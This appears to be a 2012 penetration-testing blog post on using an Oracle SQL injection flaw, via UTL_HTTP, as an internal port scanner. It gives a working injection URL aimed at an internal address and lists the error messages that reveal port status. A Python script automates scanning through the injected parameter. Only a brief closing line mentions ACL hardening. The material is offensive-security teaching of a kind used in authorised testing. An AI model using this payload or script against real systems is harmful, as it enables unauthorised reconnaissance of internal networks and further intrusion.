Monday, December 10, 2012

SQL Injection - Oracle as a port scanner



Have you ever used an SQL Injection flaw to perform a port scanner?
It's known that common databases such as Oracle and SQLServer have special packages that can perform HTTP connections, build sockets, get host names and other information about networks.
How about to use such resources to perform a port scanner exploiting a SQL injection flaw?
It's useful to discover other assets in the network and to help us to map the environment.
In our case, the DBMS was Oracle 10g. Usually we use the package URL_HTTP package to perform out of band SQL injection attack, however we are going to use it to perform a port scanner.

Let's take a look at a practical example performed on a penetration testing:

http://target/index_content.php?id=163447||utl_http.request('10.1.0.141:445')--

In this case, the value of the vulnerable parameter id is concatenated with the result of utl_http.request.

We can manipulate the IP address as well the ports numbers.

When the connection was well succeeded and the protocol probably wasn't HTTP we got an error message:
 
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-29263: HTTP protocol error ORA-06512: at line 1

On the other hand if the connection wasn't succeeded we got this error:
 
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-12570: TNS:packet reader failure ORA-06512: at line 1

The last error means that we couldn't reach the host and the port we have tried.

Anyway, independent on the error messages we can perform it in a blind way because when you try to reach a host and a port that doesn't exist or it's restricted by some firewall policy, the response from database usually is going to take longer than a normal request.

A very simple Python script to automate it:

import urllib
import urllib2
import sys

if len(sys.argv) < 5:
    print "please inform the <host> <start port> <end port> <timeout>"
    sys.exit(0)
else:
    host = sys.argv[1]
    start_port = int(sys.argv[2])
    end_port   = int(sys.argv[3])
    timeout    = int(sys.argv[4])

user_agent = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
headers = {'User-Agent' : user_agent }

while start_port <= end_port:
        url = "http://target/index_content.php?id=163447||utl_http.request('" + host + ":" + str(start_port) + "')--"
        req = urllib2.Request(url,None,headers)
        try:
                res = urllib2.urlopen(req,None,timeout)
                print "Host: " + host + " Port: " + str(start_port) + " OPENNED"
        except Exception, e:
                print "Host: " + host + " Port: " + str(start_port) + " CLOSED/NOT REACHED"
        start_port = start_port + 1

Observe that Oracle applied some ACLs to UTL_HTTP and other network packages in Oracle 11g and there is hardening recommendation to apply ACLs to all those packages.

Conclusion:

SQL injection attack is useful not only to retrieve data but to perform a port scanner in order to help to discovery other assets and services, using the DBMS network functions.